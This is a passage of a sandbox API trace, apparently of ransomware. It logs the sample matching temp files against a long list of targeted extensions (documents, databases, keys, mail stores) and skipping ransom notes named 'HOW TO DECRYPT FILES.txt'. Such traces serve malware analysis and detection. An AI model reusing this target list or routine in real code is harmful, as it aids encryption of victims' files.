HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.sql") returned 0 [0086.489] lstrlenA (lpString="*.sql") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mdb") returned 0 [0086.489] lstrlenA (lpString="*.mdb") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.fdb") returned 0 [0086.489] lstrlenA (lpString="*.fdb") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.wab") returned 0 [0086.489] lstrlenA (lpString="*.wab") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.dat") returned 0 [0086.489] lstrlenA (lpString="*.dat") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.txt") returned 0 [0086.489] lstrlenA (lpString="*.txt") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.jpeg") returned 0 [0086.489] lstrlenA (lpString="*.jpeg") returned 6 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.jpg") returned 0 [0086.489] lstrlenA (lpString="*.jpg") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.png") returned 0 [0086.489] lstrlenA (lpString="*.png") returned 5 [0086.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.php") returned 0 [0086.489] lstrlenA (lpString="*.php") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.cs") returned 0 [0086.490] lstrlenA (lpString="*.cs") returned 4 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.cpp") returned 0 [0086.490] lstrlenA (lpString="*.cpp") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.rar") returned 0 [0086.490] lstrlenA (lpString="*.rar") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.zip") returned 0 [0086.490] lstrlenA (lpString="*.zip") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.html") returned 0 [0086.490] lstrlenA (lpString="*.html") returned 6 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.htm") returned 0 [0086.490] lstrlenA (lpString="*.htm") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.xlsx") returned 0 [0086.490] lstrlenA (lpString="*.xlsx") returned 6 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.xls") returned 0 [0086.490] lstrlenA (lpString="*.xls") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mp4") returned 0 [0086.490] lstrlenA (lpString="*.mp4") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.ppt") returned 0 [0086.490] lstrlenA (lpString="*.ppt") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.pptx") returned 0 [0086.490] lstrlenA (lpString="*.pptx") returned 6 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.doc") returned 0 [0086.490] lstrlenA (lpString="*.doc") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.dot") returned 0 [0086.490] lstrlenA (lpString="*.dot") returned 5 [0086.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.docx") returned 0 [0086.491] lstrlenA (lpString="*.docx") returned 6 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.7z") returned 0 [0086.491] lstrlenA (lpString="*.7z") returned 4 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.tar") returned 0 [0086.491] lstrlenA (lpString="*.tar") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.bz2") returned 0 [0086.491] lstrlenA (lpString="*.bz2") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.gz") returned 0 [0086.491] lstrlenA (lpString="*.gz") returned 4 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mkv") returned 0 [0086.491] lstrlenA (lpString="*.mkv") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.eml") returned 0 [0086.491] lstrlenA (lpString="*.eml") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.msg") returned 0 [0086.491] lstrlenA (lpString="*.msg") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.edb") returned 0 [0086.491] lstrlenA (lpString="*.edb") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.accdb") returned 0 [0086.491] lstrlenA (lpString="*.accdb") returned 7 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.odb") returned 0 [0086.491] lstrlenA (lpString="*.odb") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.java") returned 0 [0086.491] lstrlenA (lpString="*.java") returned 6 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.asm") returned 0 [0086.491] lstrlenA (lpString="*.asm") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.pfx") returned 0 [0086.491] lstrlenA (lpString="*.pfx") returned 5 [0086.491] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.pem") returned 0 [0086.492] lstrlenA (lpString="*.pem") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.p12") returned 0 [0086.492] lstrlenA (lpString="*.p12") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.gpg") returned 0 [0086.492] lstrlenA (lpString="*.gpg") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.vsd") returned 0 [0086.492] lstrlenA (lpString="*.vsd") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.odg") returned 0 [0086.492] lstrlenA (lpString="*.odg") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.raw") returned 0 [0086.492] lstrlenA (lpString="*.raw") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.nef") returned 0 [0086.492] lstrlenA (lpString="*.nef") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.svg") returned 0 [0086.492] lstrlenA (lpString="*.svg") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.psd") returned 0 [0086.492] lstrlenA (lpString="*.psd") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.vmx") returned 0 [0086.492] lstrlenA (lpString="*.vmx") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.vmdk") returned 0 [0086.492] lstrlenA (lpString="*.vmdk") returned 6 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.vdi") returned 0 [0086.492] lstrlenA (lpString="*.vdi") returned 5 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.lay6") returned 0 [0086.492] lstrlenA (lpString="*.lay6") returned 6 [0086.492] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mpeg") returned 0 [0086.492] lstrlenA (lpString="*.mpeg") returned 6 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.djvu") returned 0 [0086.493] lstrlenA (lpString="*.djvu") returned 6 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.tiff") returned 0 [0086.493] lstrlenA (lpString="*.tiff") returned 6 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.backup") returned 0 [0086.493] lstrlenA (lpString="*.backup") returned 8 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.pdf") returned 0 [0086.493] lstrlenA (lpString="*.pdf") returned 5 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.cert") returned 0 [0086.493] lstrlenA (lpString="*.cert") returned 6 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.docm") returned 0 [0086.493] lstrlenA (lpString="*.docm") returned 6 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.xlsm") returned 0 [0086.493] lstrlenA (lpString="*.xlsm") returned 6 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.dwg") returned 0 [0086.493] lstrlenA (lpString="*.dwg") returned 5 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.nd") returned 0 [0086.493] lstrlenA (lpString="*.nd") returned 4 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.tlg") returned 0 [0086.493] lstrlenA (lpString="*.tlg") returned 5 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.lgb") returned 0 [0086.493] lstrlenA (lpString="*.lgb") returned 5 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mov") returned 0 [0086.493] lstrlenA (lpString="*.mov") returned 5 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.xdw") returned 0 [0086.493] lstrlenA (lpString="*.xdw") returned 5 [0086.493] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.ods") returned 0 [0086.493] lstrlenA (lpString="*.ods") returned 5 [0086.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.wav") returned 0 [0086.494] lstrlenA (lpString="*.wav") returned 5 [0086.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.mp3") returned 0 [0086.494] lstrlenA (lpString="*.mp3") returned 5 [0086.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.aiff") returned 0 [0086.494] lstrlenA (lpString="*.aiff") returned 6 [0086.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.flac") returned 0 [0086.494] lstrlenA (lpString="*.flac") returned 6 [0086.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.m4a") returned 0 [0086.494] lstrlenA (lpString="*.m4a") returned 5 [0086.494] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp", pszSpec="*.csv") returned 0 [0086.494] lstrlenA (lpString="*.csv") returned 5 [0086.494] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x579b80, ftCreationTime.dwHighDateTime=0x1d5df8a, ftLastAccessTime.dwLowDateTime=0x3c2a3ce0, ftLastAccessTime.dwHighDateTime=0x1d5d980, ftLastWriteTime.dwLowDateTime=0x3c2a3ce0, ftLastWriteTime.dwHighDateTime=0x1d5d980, nFileSizeHigh=0x0, nFileSizeLow=0x5b18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CnQyu3Xok0XCGqFO03.mkv", cAlternateFileName="CNQYU3~1.MKV")) returned 1 [0086.494] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CnQyu3Xok0XCGqFO03.mkv") returned 1 [0086.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CnQyu3Xok0XCGqFO03.mkv") returned 1 [0086.494] lstrcmpiA (lpString1="", lpString2="CnQyu3Xok0XCGqFO03.mkv") returned -1 [0086.494] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bst449D.tmp") returned="bst449D.tmp" [0086.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.494] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.494] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.494] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.494] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="CnQyu3Xok0XCGqFO03.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv" [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.ems") returned 0 [0086.495] lstrlenA (lpString="*.ems") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.db") returned 0 [0086.495] lstrlenA (lpString="*.db") returned 4 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.dbf") returned 0 [0086.495] lstrlenA (lpString="*.dbf") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.myox") returned 0 [0086.495] lstrlenA (lpString="*.myox") returned 6 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.myo") returned 0 [0086.495] lstrlenA (lpString="*.myo") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qbw") returned 0 [0086.495] lstrlenA (lpString="*.qbw") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qbb") returned 0 [0086.495] lstrlenA (lpString="*.qbb") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qbm") returned 0 [0086.495] lstrlenA (lpString="*.qbm") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qbo") returned 0 [0086.495] lstrlenA (lpString="*.qbo") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qbx") returned 0 [0086.495] lstrlenA (lpString="*.qbx") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qba") returned 0 [0086.495] lstrlenA (lpString="*.qba") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qby") returned 0 [0086.495] lstrlenA (lpString="*.qby") returned 5 [0086.495] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qbj") returned 0 [0086.496] lstrlenA (lpString="*.qbj") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.ofx") returned 0 [0086.496] lstrlenA (lpString="*.ofx") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.qif") returned 0 [0086.496] lstrlenA (lpString="*.qif") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.mye") returned 0 [0086.496] lstrlenA (lpString="*.mye") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.mbox") returned 0 [0086.496] lstrlenA (lpString="*.mbox") returned 6 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.eml") returned 0 [0086.496] lstrlenA (lpString="*.eml") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.pst") returned 0 [0086.496] lstrlenA (lpString="*.pst") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.ost") returned 0 [0086.496] lstrlenA (lpString="*.ost") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.idx") returned 0 [0086.496] lstrlenA (lpString="*.idx") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.dbx") returned 0 [0086.496] lstrlenA (lpString="*.dbx") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.sql") returned 0 [0086.496] lstrlenA (lpString="*.sql") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.mdb") returned 0 [0086.496] lstrlenA (lpString="*.mdb") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.fdb") returned 0 [0086.496] lstrlenA (lpString="*.fdb") returned 5 [0086.496] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.wab") returned 0 [0086.496] lstrlenA (lpString="*.wab") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.dat") returned 0 [0086.497] lstrlenA (lpString="*.dat") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.txt") returned 0 [0086.497] lstrlenA (lpString="*.txt") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.jpeg") returned 0 [0086.497] lstrlenA (lpString="*.jpeg") returned 6 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.jpg") returned 0 [0086.497] lstrlenA (lpString="*.jpg") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.png") returned 0 [0086.497] lstrlenA (lpString="*.png") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.php") returned 0 [0086.497] lstrlenA (lpString="*.php") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.cs") returned 0 [0086.497] lstrlenA (lpString="*.cs") returned 4 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.cpp") returned 0 [0086.497] lstrlenA (lpString="*.cpp") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.rar") returned 0 [0086.497] lstrlenA (lpString="*.rar") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.zip") returned 0 [0086.497] lstrlenA (lpString="*.zip") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.html") returned 0 [0086.497] lstrlenA (lpString="*.html") returned 6 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.htm") returned 0 [0086.497] lstrlenA (lpString="*.htm") returned 5 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.xlsx") returned 0 [0086.497] lstrlenA (lpString="*.xlsx") returned 6 [0086.497] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\CnQyu3Xok0XCGqFO03.mkv", pszSpec="*.xls") returned 0 [0086.497] lstrlenA (lpString="*.xls") returned 5 [0086.497] PathMatchSpecA 